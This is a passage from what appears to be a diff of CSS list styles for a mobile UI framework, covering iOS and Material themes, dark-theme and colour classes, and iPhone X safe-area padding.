.list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after { + right: calc(15px + constant(safe-area-inset-right)); + right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after { + right: calc(15px + const(safe-area-inset-right)); + right: calc(15px + env(safe-area-inset-right)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } +} +.ios .theme-dark .list ul, +.list.ios .theme-dark ul { + background: #1c1c1d; +} +.ios .theme-dark .list ul:before, +.list.ios .theme-dark ul:before { + background-color: #282829; +} +.ios .theme-dark .list ul:after, +.list.ios .theme-dark ul:after { + background-color: #282829; +} +.ios .theme-dark .list li li:last-child .item-inner:after, +.list.ios .theme-dark li li:last-child .item-inner:after, +.ios .theme-dark .list li:last-child li .item-inner:after, +.list.ios .theme-dark li:last-child li .item-inner:after { + background-color: #282829; +} +.ios .theme-dark .item-divider:before { + background-color: #282829; +} +.ios .theme-dark .list-group-title:before { + background-color: #282829; +} +.ios .theme-dark .list-button:after { + background-color: #282829; +} +.ios .theme-dark .item-inner:after { + background-color: #282829; +} +.ios .theme-dark .item-divider, +.ios .theme-dark .list-group-title { + background-color: #111; +} +.ios .theme-dark .links-list a:after, +.ios .theme-dark .simple-list li:after, +.ios .theme-dark .links-list a:after, +.links-list.ios .theme-dark a .simple-list li:after, +.simple-list.ios .theme-dark li:after { + background-color: #282829; +} +.ios .theme-dark .list .item-link.active-state, +.list.ios .theme-dark .item-link.active-state, +.ios .theme-dark .list .list-button.active-state, +.list.ios .theme-dark .list-button.active-state, +.ios .theme-dark .links-list a.active-state, +.links-list.ios .theme-dark a.active-state { + background-color: #363636; +} +.ios .color-theme-red .list-button { + color: #ff3b30; +} +.ios .color-theme-green .list-button { + color: #4cd964; +} +.ios .color-theme-blue .list-button { + color: #007aff; +} +.ios .color-theme-pink .list-button { + color: #ff2d55; +} +.ios .color-theme-yellow .list-button { + color: #ffcc00; +} +.ios .color-theme-orange .list-button { + color: #ff9500; +} +.ios .color-theme-gray .list-button { + color: #8e8e93; +} +.ios .color-theme-white .list-button { + color: #ffffff; +} +.ios .color-theme-black .list-button { + color: #000000; +} +.ios .list .list-button.color-red, +.ios .list li.color-red .list-button, +.ios .links-list li.color-red a, +.ios .simple-list li.color-red, +.ios .links-list a.color-red, +.ios .list .item-link.color-red, +.ios .list li.color-red .item-link { + color: #ff3b30; +} +.ios .list .list-button.color-green, +.ios .list li.color-green .list-button, +.ios .links-list li.color-green a, +.ios .simple-list li.color-green, +.ios .links-list a.color-green, +.ios .list .item-link.color-green, +.ios .list li.color-green .item-link { + color: #4cd964; +} +.ios .list .list-button.color-blue, +.ios .list li.color-blue .list-button, +.ios .links-list li.color-blue a, +.ios .simple-list li.color-blue, +.ios .links-list a.color-blue, +.ios .list .item-link.color-blue, +.ios .list li.color-blue .item-link { + color: #007aff; +} +.ios .list .list-button.color-pink, +.ios .list li.color-pink .list-button, +.ios .links-list li.color-pink a, +.ios .simple-list li.color-pink, +.ios .links-list a.color-pink, +.ios .list .item-link.color-pink, +.ios .list li.color-pink .item-link { + color: #ff2d55; +} +.ios .list .list-button.color-yellow, +.ios .list li.color-yellow .list-button, +.ios .links-list li.color-yellow a, +.ios .simple-list li.color-yellow, +.ios .links-list a.color-yellow, +.ios .list .item-link.color-yellow, +.ios .list li.color-yellow .item-link { + color: #ffcc00; +} +.ios .list .list-button.color-orange, +.ios .list li.color-orange .list-button, +.ios .links-list li.color-orange a, +.ios .simple-list li.color-orange, +.ios .links-list a.color-orange, +.ios .list .item-link.color-orange, +.ios .list li.color-orange .item-link { + color: #ff9500; +} +.ios .list .list-button.color-gray, +.ios .list li.color-gray .list-button, +.ios .links-list li.color-gray a, +.ios .simple-list li.color-gray, +.ios .links-list a.color-gray, +.ios .list .item-link.color-gray, +.ios .list li.color-gray .item-link { + color: #8e8e93; +} +.ios .list .list-button.color-white, +.ios .list li.color-white .list-button, +.ios .links-list li.color-white a, +.ios .simple-list li.color-white, +.ios .links-list a.color-white, +.ios .list .item-link.color-white, +.ios .list li.color-white .item-link { + color: #ffffff; +} +.ios .list .list-button.color-black, +.ios .list li.color-black .list-button, +.ios .links-list li.color-black a, +.ios .simple-list li.color-black, +.ios .links-list a.color-black, +.ios .list .item-link.color-black, +.ios .list li.color-black .item-link { + color: #000000; +} +.md .list { + margin: 32px 0; + font-size: 16px; +} +.md .list .item-cell { + width: 100%; + min-width: 0; + margin-right: 16px; +} +.md .list .item-cell:first-child { + margin-right: 0; +} +.md .list ul ul { + padding-right: 56px; +} +.md .list .item-media { + padding-top: 8px; + min-width: 40px; +} +.md .list .item-media i + i, +.md .list .item-media i + img { + margin-right: 8px; +} +.md .list .item-media + .item-inner { + margin-right: 16px; +} +.md .list .item-inner { + min-height: 48px; + padding-left: 16px; +} +.md .list .item-after { + color: #757575; + font-size: 14px; + padding-right: 8px; +} +.md .list .item-link, +.md .list .list-button { + color: inherit; +} +.md .list .item-link .item-inner, +.md .list .list-button .item-inner { + padding-left: 42px; +} +.md .list .item-link.active-state, +.md .list .list-button.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .list .list-button { + padding: 0 16px; + font-size: 16px; + line-height: 48px; +} +.md .list .item-content { + min-height: 48px; + padding-right: 16px; +} +.md .list .item-subtitle { + font-size: 14px; +} +.md .list .item-text { + font-size: 14px; + color: #757575; + line-height: 20px; + max-height: 40px; +} +.md .list .item-header, +.md .list .item-footer { + font-weight: normal; + font-size: 12px; + line-height: 1.2; + white-space: normal; +} +.md .list .item-footer { + color: rgba(0, 0, 0, 0.5); +} +.md .list .item-link.no-chevron .item-inner, +.md .list.no-chevron .item-link .item-inner, +.md .list .no-chevron .item-link .item-inner, +.md .no-chevron .list .item-link .item-inner { + padding-left: 16px; +} +.md .simple-list li:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .simple-list li:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .simple-list li:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .simple-list li { + padding-left: 16px; + padding-right: 16px; + line-height: 48px; + height: 48px; +} +.md .simple-list li:after { + width: auto; + left: 0; + right: 16px; +} +.md .links-list a:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .links-list a:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .links-list a:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .links-list a { + height: 48px; + color: inherit; +} +.md .links-list a.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .links-list a:after { + width: auto; +} +.md .links-list a { + padding-right: 16px; + padding-left: 42px; +} +.md .links-list a:after { + right: 16px; + left: 0; +} +.md .links-list.no-chevron a, +.md .no-chevron .links-list a, +.md .links-list a.no-chevron, +.md .links-list .no-chevron a { + padding-left: 16px; +} +.md .media-list .item-inner, +.md li.media-item .item-inner { + padding-top: 14px; + padding-bottom: 14px; +} +.md .media-list .item-link .item-inner, +.md li.media-item .item-link .item-inner { + padding-left: 16px; +} +.md .media-list .item-link .item-title-row, +.md li.media-item .item-link .item-title-row { + padding-left: 26px; +} +.md .media-list .item-media, +.md li.media-item .item-media { + padding-top: 14px; + padding-bottom: 14px; +} +.md .media-list.chevron-center .item-link .item-inner, +.md .media-list .chevron-center .item-link .item-inner, +.md .media-list .item-link.chevron-center .item-inner, +.md li.media-item.chevron-center .item-link .item-inner, +.md li.media-item .item-link.chevron-center .item-inner, +.md li.media-item .chevron-center .item-link .item-inner { + padding-left: 42px; +} +.md .media-list.no-chevron .item-link .item-title-row, +.md .no-chevron .media-list .item-link .item-title-row, +.md .media-list .no-chevron .item-link .item-title-row, +.md li.media-item.no-chevron .item-link .item-title-row, +.md .no-chevron li.media-item .item-link .item-title-row, +.md .media-list.chevron-center .item-title-row, +.md .media-list .chevron-center .item-title-row, +.md li.media-item.chevron-center .item-title-row, +.md li.media-item .chevron-center .item-title-row { + padding-left: 0 !important; +} +.md .list .item-link .item-inner, +.md .links-list a { + background-position: 16px center; +} +.md .item-divider, +.md .list-group-title { + padding: 0 16px; + background: #f4f4f4; + color: rgba(0, 0, 0, 0.54); + height: 48px; + line-height: 48px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + font-size: 14px; +} +.md .item-divider:before, +.md .list-group-title:before { + display: none !important; +} +.md .item-divider:after, +.md .list-group-title:after { + display: none !important; +} +.md .list-group-title { + margin-top: 0; +} +.md .list .item-inner:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .list .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .list .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .list ul:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .list ul:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .list ul:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .list ul:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .list ul:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .list ul:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .list.inset { + margin-left: 16px; + margin-right: 16px; + border-radius: 4px; +} +.md .list.inset ul { + border-radius: 4px; +} +.md .list.inset li:first-child > a { + border-radius: 4px 4px 0 0; +} +.md .list.inset li:last-child > a { + border-radius: 0 0 4px 4px; +} +.md .list.inset li:first-child:last-child > a { + border-radius: 4px; +} +@media (min-width: 768px) { + .md .list.tablet-inset { + margin-left: 16px; + margin-right: 16px; + border-radius: 4px; + } + .md .list.tablet-inset li:first-child > a { + border-radius: 4px 4px 0 0; + } + .md .list.tablet-inset li:last-child > a { + border-radius: 0 0 4px 4px; + } + .md .list.tablet-inset li:first-child:last-child > a { + border-radius: 4px; + } +} +.md li li:last-child .item-inner:after, +.md li:last-child li .item-inner:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +html.device-pixel-ratio-2 .md li li:last-child .item-inner:after, +html.device-pixel-ratio-2 .md li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .md li li:last-child .item-inner:after, +html.device-pixel-ratio-3 .md li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a { + background-position: calc(16px + constant(safe-area-inset-left)) center; + background-position: calc(16px + env(safe-area-inset-left)) center; + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner { + padding-left: calc(42px + constant(safe-area-inset-left)); + padding-left: calc(42px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a { + padding-left: calc(42px + constant(safe-area-inset-left)); + padding-left: calc(42px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-left 